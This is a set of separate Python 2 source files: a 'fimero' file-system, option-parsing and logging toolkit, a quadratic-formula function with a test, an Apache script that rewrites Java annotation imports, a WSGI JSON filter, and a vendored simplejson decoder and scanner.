""" Folder on file system. """ import os import sys import fnmatch import tempfile import warnings import fimero.core.disk as disk import fimero.core.disk.NodeKit as NodeKit import fimero.core.disk.PathKit as PathKit import fimero.core.disk.FileKit as FileKit ################################################################################ # Classes ################################################################################ class TreeWalkWarning(Warning): """Warning generated when walking file system trees.""" pass class TFolder(NodeKit.TNode): """TFolder represents file system folders.""" # default create mode CREATE_MODE = 0755 def __init__(self, path): NodeKit.TNode.__init__(self, path) def list(self, pattern=None): """List contents of folder. Returns path objects.""" names = os.listdir(repr(self.get_path())) if pattern is not None: names = fnmatch.filter(names, pattern) return [PathKit.make_path(self.path, name) for name in names] def list_folders(self, pattern=None): """list of paths to subfolders.""" return [p for p in self.list(pattern) if p.is_folder()] def walk(self, pattern=None, errors=disk.STRICT): """folder.walk() iterates over files and folders, recursively. The iterator yields path objects naming each child item of this directory and its descendants. This requires that D.isdir(). This performs a depth-first traversal of the directory tree. Each directory is returned just before all its children. The errors= keyword argument controls behavior when an error occurs. The default is 'strict', which causes an exception. The other allowed values are 'warn', which reports the error via warnings.warn(), and 'ignore'. """ is_valid_errors(errors) try: child_list = self.list() except Exception, exception: process_list_error(self, errors, exception) for child in child_list: if pattern is None or child.fnmatch(pattern): yield child try: is_folder = child.is_folder() except Exception, exception: process_access_error(self, errors, exception) if is_folder: child_folder = make(child) for item in child_folder.walk(pattern, errors): yield item def walk_folders(self, pattern=None, errors=disk.STRICT): """walk_folders iterates over subdirectories recursively.""" is_valid_errors(errors) try: folders = self.list_folders() except Exception, exception: process_list_error(self, errors, exception) for child in folders: if pattern is None or child.fnmatch(pattern): yield child child_folder = make(child) for subfolder in child_folder.walk_folders(pattern, errors): yield subfolder def make_file(self, path): """creates a new, empty file. returns a path instance.""" path = PathKit.make(path) joined_path = self.get_path().join(path) new_file = FileKit.make(joined_path) new_file.touch() return joined_path def make_folder(self, path): """creates a new, empty folder. returns a path instance.""" path = PathKit.make(path) joined_path = self.get_path().join(path) new_folder = make(joined_path) new_folder.touch() return joined_path def delete(self): """delete this folder and all content.""" self.get_path().delete() def touch(self): """create folder if it does not exist.""" if not self.exists(): os.makedirs(repr(self), mode=0755) else: os.utime(repr(self), None) ################################################################################ # Module methods ################################################################################ def is_valid_errors(errors): """Check if the specified errors are supported.""" if errors not in disk.ERRORS: raise ValueError('invalid errors parameter: ' + errors) def process_list_error(folder, errors, exception): """process a listing error.""" if errors == disk.IGNORE: return elif errors == disk.WARN: warnings.warn("Unable to list directory '%s': %s" % (repr(folder.get_path()), sys.exc_info()[1]), TreeWalkWarning) else: raise exception def process_access_error(folder, errors, exception): """process access error.""" if errors == disk.IGNORE: return elif errors == disk.WARN: warnings.warn("Unable to access '%s' : %s" % (repr(folder.get_path()), sys.exc_info()[1]), TreeWalkWarning) else: raise exception def make(path): """makes a new folder instance.""" path = PathKit.make(path) folder = TFolder(path) return folder def make_temp(): """makes a temporary folder.""" temp_path = tempfile.mkdtemp() return make(temp_path)
Python
""" file system classes and utilities. """ STRICT = 'strict' WARN = 'warn' IGNORE = 'ignore' ERRORS = (STRICT, WARN, IGNORE) #def wiki(): # DocKit.wiki(None) class FilerError(Exception): """Exceptions indicating problems with the file system.""" def __init__(self, message): """create file error with human readable message.""" Exception.__init__() self.message = message def __str__(self): return repr(self.message)
Python
""" Path is an object-oriented path to a file system node. It is responsible for modeling the organization of a file system. It must NOT modify the file system in any way--that task is delegated to Node instances (File and Folder) A path segment has two properties {absolute|relative} and {node|leaf} absolute relative leaf /a/b/c.txt b/c.txt node /a/b/ b/ """ import fnmatch import os.path import shutil import time ################################################################################ # Classes ################################################################################ class TPath(object): """ Implementation of file system path object. A Path may be absolute or relative. An absolute path is a unique location on the file system. """ def __init__(self, parent, basename): """ Initialize path with parent path and base name. Keyword arguments: parent -- POSIX path object of parent basename -- name of leaf """ self.parent = parent self.basename = basename def __repr__(self): """ Convert to string. """ # convert parent to string parent = repr(self.parent) # use the native os folder path separator separator = os.path.sep if self.parent is None: # this is a relative path parent = '' separator = '' if parent.endswith(os.path.sep): parent = parent[:-1] return parent + separator + self.basename def __eq__(self, that): """ Compare 'that' path to 'this' path for equality. Keyword arguments: that -- path instance to compare """ return self.basename == that.basename and \ self.parent() == that.parent def __ne__(self, that): """ Compare 'that' to 'this' for inequality. Keyword arguments: that -- path instance to compare """ return not self.__eq__(that) def is_abs(self): """ Return true if this is an absolute path. Need to follow all parents to either root or relative path. """ return repr(self).startswith(os.path.sep) def is_file(self): """return true if this path points to a file.""" return os.path.isfile(repr(self)) def is_folder(self): """return true if this path points to a folder.""" return os.path.isdir(repr(self)) def is_link(self): """return true if this path points to a symlink.""" return os.path.islink(repr(self)) def exists(self): """return true if this path exists on the file system.""" return os.path.exists(repr(self)) # TODO move to Node # def delete(self): # """Delete this path (and all content) if it exists.""" # # if self.exists(): # if self.is_folder(): # # recursive delete on folder # shutil.rmtree(repr(self)) # else: # os.remove(repr(self)) # def touch_file(self): # """If path doesn't exist, create an empty file. If it does exist, # update its utime.""" # if not self.exists() or self.is_file(): # handle = os.open(repr(self), os.O_WRONLY | os.O_CREAT, 0666) # os.close(handle) # os.utime(repr(self), None) # # def touch_folder(self): # """If path doesn't exist, create an empty folder.""" # if not self.exists(): # os.makedirs(repr(self), mode=0755) # elif self.is_folder(): # os.utime(repr(self), None) def join(self, fragment): """Join this path with a path fragment and return a new path.""" fragment = make(fragment) joined = repr(self) + os.path.sep + repr(fragment) return make(joined) def slice(self, index): """Slices the path along the specified index. If the index > 0, slice counts from left; otherwise, it counts from right.""" sep = os.path.sep # create a list of segments # /a/b/c/d becomes [a,b,c,d] segments = repr(self).split(sep) if index > 0: # slice from left segments = segments[index:] else: # slice from right length = len(segments) segments = segments[:length + index] slice_path = sep.join(segments) return make(slice_path) def fnmatch(self, pattern): """Returns true if self.name matches the given pattern. pattern - a filename pattern with wildcards, eg *.py """ return fnmatch.fnmatch(repr(self), pattern) class TRoot(TPath): """A singleton instance of a path that represents the root node.""" ROOT_STRING = '/' def __init__(self): """Initialize Root path.""" TPath.__init__(self, self, TRoot.ROOT_STRING) def __repr__(self): """Root is rendered.""" return TRoot.ROOT_STRING def __eq__(self, that): return repr(that) == TRoot.ROOT_STRING def __ne__(self, that): return not self.__eq__(that) ################################################################################ # Shared instances ################################################################################ ROOT = TRoot() ################################################################################ # Module methods ################################################################################ def is_path(path): """return true if 'path' is an instance of TPath. This method is a convenience used to allow strings to be passed in as paths and identified as such.""" return hasattr(path, 'exists') def make_path(parent_path, child_name, expandvars=True): """makes a new path with specified parent and child.""" if not is_path(parent_path): parent_path = make(parent_path, expandvars) return TPath(parent_path, child_name) def make(path='.', expandvars=True): """Makes a new path from the specified path string.""" result = path if not is_path(path): if expandvars: path = os.path.expandvars(path) # this is not a path object so instantiate one # special cases: # '.' : current folder # '..': current folder parent # '/' : root folder if path == os.path.sep: return ROOT elif path == '.': # query the current directory path = os.path.abspath(os.path.curdir) elif path == '..': # query the parent directory path = os.path.dirname(os.path.abspath(os.path.curdir)) # split path into fragments fragments = path.split(os.path.sep) # assume parent is ROOT but let's confirm parent = ROOT # if fragments don't start with '', this is a relative path if fragments[0] != '': # assumption was wrong parent = None else: fragments = fragments[1:] for fragment in fragments: path = TPath(parent, fragment) parent = path result = parent return result def make_leaf(path): """ Makes a new leaf path. Keyword arguments: path -- POSIX string path """ pass def parent_folder(fso): """ Return the absolute path for the parent folder of the specified file system object. """ return os.path.dirname(os.path.abspath(fso)) def rename(path, newpath): """ Rename (move) specified path to new path """ shutil.move(str(path), str(newpath)) def rename_to_bak(path): """ Rename (move) specified path to bak. This is used to make a backup of a file or folder that is going to be modified. """ backup_path = str(path) + "." + str(time.time()) + ".bak" rename(path, backup_path)
Python
import os.path import fimero.core.util.LogKit as LogKit import fimero.core.disk.PathKit as PathKit import fimero.core.disk.TextFileKit as TextFileKit from mako.template import Template from mako.lookup import TemplateLookup from mako.runtime import Context from StringIO import StringIO LOGGER = LogKit.get_logger(__name__) # need absolute path to skel folder __SKEL_PARENT_FOLDER__ = PathKit.parent_folder(__file__) __SKEL_FOLDER__ = '/'.join([__SKEL_PARENT_FOLDER__, 'skel']) __SKEL_LOOKUP__ = TemplateLookup(directories=[__SKEL_FOLDER__], \ module_directory='/tmp/mako_cache') def lookup_template(template_name): """ Returns an template instance for the specified template file name. """ return __SKEL_LOOKUP__.get_template(template_name) def render_template(template_name, args, buf=StringIO()): """ render the template with the specified file name. args: a dictionary of key:value pairs for template buf (optional) : buffer to hold result """ ctx = Context(buf, **args) template = lookup_template(template_name) template.render_context(ctx) return buf def write_template(template_name, args, path): """Writes the result of the template render to path, making a bak file if path already exists.""" buffer = render_template(template_name, args) outfile = TextFileKit.make(path) if outfile.exists(): PathKit.rename_to_bak(outfile.get_path()) outfile.write_text(buffer.getvalue())
Python
# the fimero.core package contains common utilities and classes # including disk, network, and security
Python
""" OptionKit is a wrapper for Python's optparse module that forces the script writer to provide documentation. It works by parsing the script's docstring for the the args and options for the script. For example, we write a module level docstring: '''usage: %prog files [options] -d, --delete: delete all files -e, --erase=ERASE: erase the given file -F, --fill_pattern=0xFF: the fill pattern used to erase the given file''' Then write a main program of this kind: # sketch of a script to delete files if __name__=='__main__': import OptionKit option,args=optionparse.parse(__doc__) if not args and not option: OptionKit.abort() elif option.delete: print "Delete all files" elif option.erase: print "Delete the given file with %s" % option.fill_pattern Notice that ``OptionKit`` parses the docstring by looking at the characters ",", ":", "=", "\\n", so be careful in using them. If the docstring is not correctly formatted you will get a SyntaxError or worse, the script will not work as expected. * Place each option on a separate line. * You can automatically assign default values by changing the value for the long description. Instead of '--erase=ERASE' use '--erase=somevalue' (When the value is a case-insensitive match to the long parameter, it is ignored) For an example, please see OptionKitExample.py in test.core.util """ import optparse, re, sys, os # regular expression used to extract option string from docstring USAGE = re.compile(r'(?s)\s*usage: (.*?)(\n[ \t]*\n|$)') # will become the nonzero method of optparse.Values def nonzero(self): "True if options were given" for value in self.__dict__.itervalues(): if value is not None: return True return False # dynamically fix optparse.Values optparse.Values.__nonzero__ = nonzero class ParsingError(Exception): """Error thrown if parsing fails.""" pass # used by abort method OPTION_STRING = "" def abort(msg=""): """ Called to abort option parsing. Prints msg or help. Keyword arguments: msg -- message to print on abort (default: help) """ progname = os.path.basename(sys.argv[0]) raise SystemExit(msg or OPTION_STRING.replace("%prog", progname)) def restrict_option(option, choices): """ Restrict the specified option to the list of choices Keyword arguments: option -- optparse option to restrict choices -- list of allowed strings """ option.type = "choice" option.choices = choices def make_prompt(name, default=None): """ create an interactive command line prompt for the specified option. Keyword arguments: name -- of variable to use in prompt default -- default value returned if user enters nothing (default None) """ seq = ['please enter', name] if default is not None: default_string = ''.join(['{', default, '}']) seq.append(default_string) seq.append(':') return ' '.join(seq) def prompt_user_input(option): """ prompts the user for input for the specified optparse Option instance Keyword arguments: option -- optparse Option instance """ prompt = make_prompt(option.dest, option.default) user_input = raw_input(prompt) if user_input == '' and option.default is not None: user_input = option.default if option.choices is not None: if user_input not in option.choices: print 'supplied option is not supported:', user_input print 'please choose among:', option.choices prompt_user_input(option) return user_input def prompt_option_list(option_list, values, arg_dests=None): """ Takes a list of OptionParser options and queries the user for their values. Keyword arguments: option_list -- list of optparse Option instances values -- optparse Values instance arg_dests -- list of string names for arguments """ for option in option_list: values.__dict__[option.dest] = prompt_user_input(option) arg_vals = [] for arg_dest in arg_dests: user_input = raw_input(make_prompt(arg_dest)) arg_vals.append(user_input) return arg_vals def inspect_options(options): """ Utility method to find which command line options were set by user. Returns a dictionary of {option : setting} Keyword arguments: values -- optparse.Values object returned by OptionParser """ classattrs = dir(optparse.Values) settings = {} for name in [_ for _ in dir(options) if _ not in classattrs]: settings[name] = getattr(options, name) return settings def parse(docstring): """ Parse the arguments using the docstring as the template. Keyword arguments: docstring -- module docstring that contains command line template """ global OPTION_STRING OPTION_STRING = docstring match = USAGE.search(OPTION_STRING) if not match: # documentation is insufficient raise ParsingError("Cannot find the option string. \ Please check your script's docstring") optlines = match.group(1).splitlines() try: parser = optparse.OptionParser(optlines[0]) for line in optlines[1:]: optstr, helpstr = line.split(':')[:2] shortstr, longstr = optstr.split(',')[:2] if '=' in optstr: # unless the value on the other side of = is the same # (modulo case) it is used as the default action = 'store' longstr, default = longstr.split('=')[:2] if default.lower() == longstr[3:]: # need to strip leading '--' default = None else: action = 'store_true' # ensure that 'default' is set to None if it hasn't yet been defined if not vars().has_key('default'): default = None parser.add_option(shortstr.strip(), longstr.strip(), action=action, help=helpstr.strip(), default=default) except (IndexError, ValueError): raise ParsingError("Cannot parse the option string correctly") return parser
Python
""" Logging module. """ import sys import getpass import logging import tempfile # When running python from cron, the logger seems to throw exceptions. This # suppresses those exceptions (and does not appear to have detrimental effects # on the logging output). logging.raiseExceptions = False #FORMAT = '%(asctime)s %(name)-12s %(levelname)-8s %(message)s' FORMAT = '%(asctime)s %(name)s %(filename)s %(lineno) -12s %(levelname)-8s %(message)s' # The _user under which this python-code is running. # (This is used to make non-colliding log-filenames to elide permissions # gremlins in logging.) _user = 'noname' try: _user = getpass.getuser() except: pass logging.basicConfig(level=logging.DEBUG, format=FORMAT, datefmt='%m-%d %H:%M', filename=tempfile.gettempdir() + '/python-%s.log' % _user, filemode='a') CONSOLE = logging.StreamHandler() # set a format which is simpler for console use FORMATTER = logging.Formatter('%(name)-12s: %(levelname)-8s %(message)s') # tell the handler to use this format CONSOLE.setFormatter(FORMATTER) ## add the handler to the root logger #logging.getLogger('').addHandler(CONSOLE) INFO = logging.INFO DEBUG = logging.DEBUG WARN = logging.WARN # set the default level to info CONSOLE.setLevel(DEBUG) def set_level(log_level): """Set the logging level. INFO DEBUG WARN """ CONSOLE.setLevel(log_level) def get_logger(module_name): """Returns a logger associated with the specified module name.""" return logging.getLogger(module_name)
Python
""" The MainKit provides a base class for executable modules. """ import sys import optparse import fimero.core.util.OptionKit as OptionKit class TMain(object): """ TMain is a base class that should be extended by any class that is intended to be executed. """ def _execute(self, options, args): """ Override in base class to execute. Keyword arguments: options -- map of { name : value } for cli options args -- list of arguments passed to program """ pass def _make_option_parser(self): """ Return an option parser. This method must be overridden to produce a customized option parser e.g. parser = OptionKit.parse(__doc___) choices = ["red", "green", "blue"] OptionKit.restrict_option(parser.get_option("-o"), choices) parser.get_option("-2").default = "mydefault" return parser """ return optparse.OptionParser() def _backup(self, node): backup_file = repr(node.get_path()) + "." + str(time.time()) + ".bak" node.rename(backup_file) def __init__(self): """ default constructor that sets self.arg_list to None """ self.arg_list = None def interact(self, option_parser): """ iterates over all options in option_parser option_list and prompts user for input. Also queries for contents of self.arg_list. Keyword arguments: option_parser -- customized option parser """ # we slice this array because the first two options are "help" and # "interactive" return OptionKit.prompt_option_list(option_parser.option_list[2:], option_parser.values, self.arg_list) def main(self, argv=None): """ main method to be executed -- provides programmatic access. Keyword arguments: argv -- argument values; set to sys.argv if None """ if argv is None: argv = sys.argv parser = self._make_option_parser() options, args = parser.parse_args(argv) if options.interact: interactive_args = self.interact(parser) args = args + interactive_args self._execute(options, args)
Python
# base package of all fimero python code
Python
from math import * import unittest def bascara(a, b, c): if not (type(a) == int and type(b) == int and type(c) == int): return "ingrese un valor correcto" X = (b**2)-(4*a*c) if X < 0: return "Solucion en numeros complejos" elif X == 0: X1 = (-b) / (2*a) return X1 else: try: X1 = (-b + sqrt(X)) / (2*a) X2 = (-b - sqrt(X)) / (2*a) except ZeroDivisionError: return "division por 0" return [X1, X2] class TestBascara(unittest.TestCase): def test(self): self.assertEqual(bascara(5,4,0),[0,-0.8]) self.assertEqual(bascara(8,0,4),"Solucion en numeros complejos") self.assertEqual(bascara(0,-5,-4),"division por 0") self.assertEqual(bascara(3,'1','dos'),"ingrese un valor correcto")
Python
#==================================================================== # Licensed to the Apache Software Foundation (ASF) under one # or more contributor license agreements. See the NOTICE file # distributed with this work for additional information # regarding copyright ownership. The ASF licenses this file # to you under the Apache License, Version 2.0 (the # "License"); you may not use this file except in compliance # with the License. You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, # software distributed under the License is distributed on an # "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY # KIND, either express or implied. See the License for the # specific language governing permissions and limitations # under the License. # ==================================================================== # # This software consists of voluntary contributions made by many # individuals on behalf of the Apache Software Foundation. For more # information on the Apache Software Foundation, please see # <http://www.apache.org/>. # import os import re import tempfile import shutil ignore_pattern = re.compile('^(.svn|target|bin|classes)') java_pattern = re.compile('^.*\.java') annot_pattern = re.compile('import org\.apache\.http\.annotation\.') def process_dir(dir): files = os.listdir(dir) for file in files: f = os.path.join(dir, file) if os.path.isdir(f): if not ignore_pattern.match(file): process_dir(f) else: if java_pattern.match(file): process_source(f) def process_source(filename): tmp = tempfile.mkstemp() tmpfd = tmp[0] tmpfile = tmp[1] try: changed = False dst = os.fdopen(tmpfd, 'w') try: src = open(filename) try: for line in src: if annot_pattern.match(line): changed = True line = line.replace('import org.apache.http.annotation.', 'import net.jcip.annotations.') dst.write(line) finally: src.close() finally: dst.close(); if changed: shutil.move(tmpfile, filename) else: os.remove(tmpfile) except: os.remove(tmpfile) process_dir('.')
Python
import simplejson import cgi class JSONFilter(object): def __init__(self, app, mime_type='text/x-json'): self.app = app self.mime_type = mime_type def __call__(self, environ, start_response): # Read JSON POST input to jsonfilter.json if matching mime type response = {'status': '200 OK', 'headers': []} def json_start_response(status, headers): response['status'] = status response['headers'].extend(headers) environ['jsonfilter.mime_type'] = self.mime_type if environ.get('REQUEST_METHOD', '') == 'POST': if environ.get('CONTENT_TYPE', '') == self.mime_type: args = [_ for _ in [environ.get('CONTENT_LENGTH')] if _] data = environ['wsgi.input'].read(*map(int, args)) environ['jsonfilter.json'] = simplejson.loads(data) res = simplejson.dumps(self.app(environ, json_start_response)) jsonp = cgi.parse_qs(environ.get('QUERY_STRING', '')).get('jsonp') if jsonp: content_type = 'text/javascript' res = ''.join(jsonp + ['(', res, ')']) elif 'Opera' in environ.get('HTTP_USER_AGENT', ''): # Opera has bunk XMLHttpRequest support for most mime types content_type = 'text/plain' else: content_type = self.mime_type headers = [ ('Content-type', content_type), ('Content-length', len(res)), ] headers.extend(response['headers']) start_response(response['status'], headers) return [res] def factory(app, global_conf, **kw): return JSONFilter(app, **kw)
Python
""" Implementation of JSONDecoder """ import re from scanner import Scanner, pattern FLAGS = re.VERBOSE | re.MULTILINE | re.DOTALL def _floatconstants(): import struct import sys _BYTES = '7FF80000000000007FF0000000000000'.decode('hex') if sys.byteorder != 'big': # NOTE(kgibbs): These lines must be added to make this file work under # Python 2.2, which is commonly used at Google. bytes_list = list(_BYTES) bytes_first_half = bytes_list[:8]; bytes_first_half.reverse() bytes_second_half = bytes_list[8:]; bytes_second_half.reverse() _BYTES = "".join(bytes_first_half + bytes_second_half) # NOTE(kgibbs): End changes. nan, inf = struct.unpack('dd', _BYTES) return nan, inf, -inf NaN, PosInf, NegInf = _floatconstants() def linecol(doc, pos): lineno = doc.count('\n', 0, pos) + 1 if lineno == 1: colno = pos else: colno = pos - doc.rindex('\n', 0, pos) return lineno, colno def errmsg(msg, doc, pos, end=None): lineno, colno = linecol(doc, pos) if end is None: return '%s: line %d column %d (char %d)' % (msg, lineno, colno, pos) endlineno, endcolno = linecol(doc, end) return '%s: line %d column %d - line %d column %d (char %d - %d)' % ( msg, lineno, colno, endlineno, endcolno, pos, end) _CONSTANTS = { '-Infinity': NegInf, 'Infinity': PosInf, 'NaN': NaN, 'true': True, 'false': False, 'null': None, } def JSONConstant(match, context, c=_CONSTANTS): return c[match.group(0)], None pattern('(-?Infinity|NaN|true|false|null)')(JSONConstant) def JSONNumber(match, context): match = JSONNumber.regex.match(match.string, *match.span()) integer, frac, exp = match.groups() if frac or exp: res = float(integer + (frac or '') + (exp or '')) else: res = int(integer) return res, None pattern(r'(-?(?:0|[1-9]\d*))(\.\d+)?([eE][-+]?\d+)?')(JSONNumber) STRINGCHUNK = re.compile(r'(.*?)(["\\])', FLAGS) BACKSLASH = { '"': u'"', '\\': u'\\', '/': u'/', 'b': u'\b', 'f': u'\f', 'n': u'\n', 'r': u'\r', 't': u'\t', } DEFAULT_ENCODING = "utf-8" def scanstring(s, end, encoding=None, _b=BACKSLASH, _m=STRINGCHUNK.match): if encoding is None: encoding = DEFAULT_ENCODING chunks = [] _append = chunks.append begin = end - 1 while 1: chunk = _m(s, end) if chunk is None: raise ValueError( errmsg("Unterminated string starting at", s, begin)) end = chunk.end() content, terminator = chunk.groups() if content: if not isinstance(content, unicode): content = unicode(content, encoding) _append(content) if terminator == '"': break try: esc = s[end] except IndexError: raise ValueError( errmsg("Unterminated string starting at", s, begin)) if esc != 'u': try: m = _b[esc] except KeyError: raise ValueError( errmsg("Invalid \\escape: %r" % (esc,), s, end)) end += 1 else: esc = s[end + 1:end + 5] try: m = unichr(int(esc, 16)) if len(esc) != 4 or not esc.isalnum(): raise ValueError except ValueError: raise ValueError(errmsg("Invalid \\uXXXX escape", s, end)) end += 5 _append(m) return u''.join(chunks), end def JSONString(match, context): encoding = getattr(context, 'encoding', None) return scanstring(match.string, match.end(), encoding) pattern(r'"')(JSONString) WHITESPACE = re.compile(r'\s*', FLAGS) def JSONObject(match, context, _w=WHITESPACE.match): pairs = {} s = match.string end = _w(s, match.end()).end() nextchar = s[end:end + 1] # trivial empty object if nextchar == '}': return pairs, end + 1 if nextchar != '"': raise ValueError(errmsg("Expecting property name", s, end)) end += 1 encoding = getattr(context, 'encoding', None) while True: key, end = scanstring(s, end, encoding) end = _w(s, end).end() if s[end:end + 1] != ':': raise ValueError(errmsg("Expecting : delimiter", s, end)) end = _w(s, end + 1).end() try: value, end = JSONScanner.iterscan(s, idx=end).next() except StopIteration: raise ValueError(errmsg("Expecting object", s, end)) pairs[key] = value end = _w(s, end).end() nextchar = s[end:end + 1] end += 1 if nextchar == '}': break if nextchar != ',': raise ValueError(errmsg("Expecting , delimiter", s, end - 1)) end = _w(s, end).end() nextchar = s[end:end + 1] end += 1 if nextchar != '"': raise ValueError(errmsg("Expecting property name", s, end - 1)) object_hook = getattr(context, 'object_hook', None) if object_hook is not None: pairs = object_hook(pairs) return pairs, end pattern(r'{')(JSONObject) def JSONArray(match, context, _w=WHITESPACE.match): values = [] s = match.string end = _w(s, match.end()).end() # look-ahead for trivial empty array nextchar = s[end:end + 1] if nextchar == ']': return values, end + 1 while True: try: value, end = JSONScanner.iterscan(s, idx=end).next() except StopIteration: raise ValueError(errmsg("Expecting object", s, end)) values.append(value) end = _w(s, end).end() nextchar = s[end:end + 1] end += 1 if nextchar == ']': break if nextchar != ',': raise ValueError(errmsg("Expecting , delimiter", s, end)) end = _w(s, end).end() return values, end pattern(r'\[')(JSONArray) ANYTHING = [ JSONObject, JSONArray, JSONString, JSONConstant, JSONNumber, ] JSONScanner = Scanner(ANYTHING) class JSONDecoder(object): """ Simple JSON <http://json.org> decoder Performs the following translations in decoding: +---------------+-------------------+ | JSON | Python | +===============+===================+ | object | dict | +---------------+-------------------+ | array | list | +---------------+-------------------+ | string | unicode | +---------------+-------------------+ | number (int) | int, long | +---------------+-------------------+ | number (real) | float | +---------------+-------------------+ | true | True | +---------------+-------------------+ | false | False | +---------------+-------------------+ | null | None | +---------------+-------------------+ It also understands ``NaN``, ``Infinity``, and ``-Infinity`` as their corresponding ``float`` values, which is outside the JSON spec. """ _scanner = Scanner(ANYTHING) __all__ = ['__init__', 'decode', 'raw_decode'] def __init__(self, encoding=None, object_hook=None): """ ``encoding`` determines the encoding used to interpret any ``str`` objects decoded by this instance (utf-8 by default). It has no effect when decoding ``unicode`` objects. Note that currently only encodings that are a superset of ASCII work, strings of other encodings should be passed in as ``unicode``. ``object_hook``, if specified, will be called with the result of every JSON object decoded and its return value will be used in place of the given ``dict``. This can be used to provide custom deserializations (e.g. to support JSON-RPC class hinting). """ self.encoding = encoding self.object_hook = object_hook def decode(self, s, _w=WHITESPACE.match): """ Return the Python representation of ``s`` (a ``str`` or ``unicode`` instance containing a JSON document) """ obj, end = self.raw_decode(s, idx=_w(s, 0).end()) end = _w(s, end).end() if end != len(s): raise ValueError(errmsg("Extra data", s, end, len(s))) return obj def raw_decode(self, s, **kw): """ Decode a JSON document from ``s`` (a ``str`` or ``unicode`` beginning with a JSON document) and return a 2-tuple of the Python representation and the index in ``s`` where the document ended. This can be used to decode a JSON document from a string that may have extraneous data at the end. """ kw.setdefault('context', self) try: obj, end = self._scanner.iterscan(s, **kw).next() except StopIteration: raise ValueError("No JSON object could be decoded") return obj, end __all__ = ['JSONDecoder']
Python
""" Iterator based sre token scanner """ # NOTE(kgibbs): This line must be added to make this file work under # Python 2.2, which is commonly used at Google. from __future__ import generators # NOTE(kgibbs): End changes. import sre_parse, sre_compile, sre_constants from sre_constants import BRANCH, SUBPATTERN from re import VERBOSE, MULTILINE, DOTALL # NOTE(guido): Was 'from sre ...' import re __all__ = ['Scanner', 'pattern'] FLAGS = (VERBOSE | MULTILINE | DOTALL) class Scanner(object): def __init__(self, lexicon, flags=FLAGS): self.actions = [None] # combine phrases into a compound pattern s = sre_parse.Pattern() s.flags = flags p = [] # NOTE(kgibbs): These lines must be added to make this file work under # Python 2.2, which is commonly used at Google. def enumerate(obj): i = -1 for item in obj: i += 1 yield i, item # NOTE(kgibbs): End changes. for idx, token in enumerate(lexicon): phrase = token.pattern try: subpattern = sre_parse.SubPattern(s, [(SUBPATTERN, (idx + 1, sre_parse.parse(phrase, flags)))]) except sre_constants.error: raise p.append(subpattern) self.actions.append(token) s.groups = len(p)+1 # NOTE(guido): Added to make SRE validation work p = sre_parse.SubPattern(s, [(BRANCH, (None, p))]) self.scanner = sre_compile.compile(p) def iterscan(self, string, idx=0, context=None): """ Yield match, end_idx for each match """ match = self.scanner.scanner(string, idx).match actions = self.actions lastend = idx end = len(string) while True: m = match() if m is None: break matchbegin, matchend = m.span() if lastend == matchend: break action = actions[m.lastindex] if action is not None: rval, next_pos = action(m, context) if next_pos is not None and next_pos != matchend: # "fast forward" the scanner matchend = next_pos match = self.scanner.scanner(string, matchend).match yield rval, matchend lastend = matchend def pattern(pattern, flags=FLAGS): def decorator(fn): fn.pattern = pattern fn.regex = re.compile(pattern, flags) return fn return decorator
Python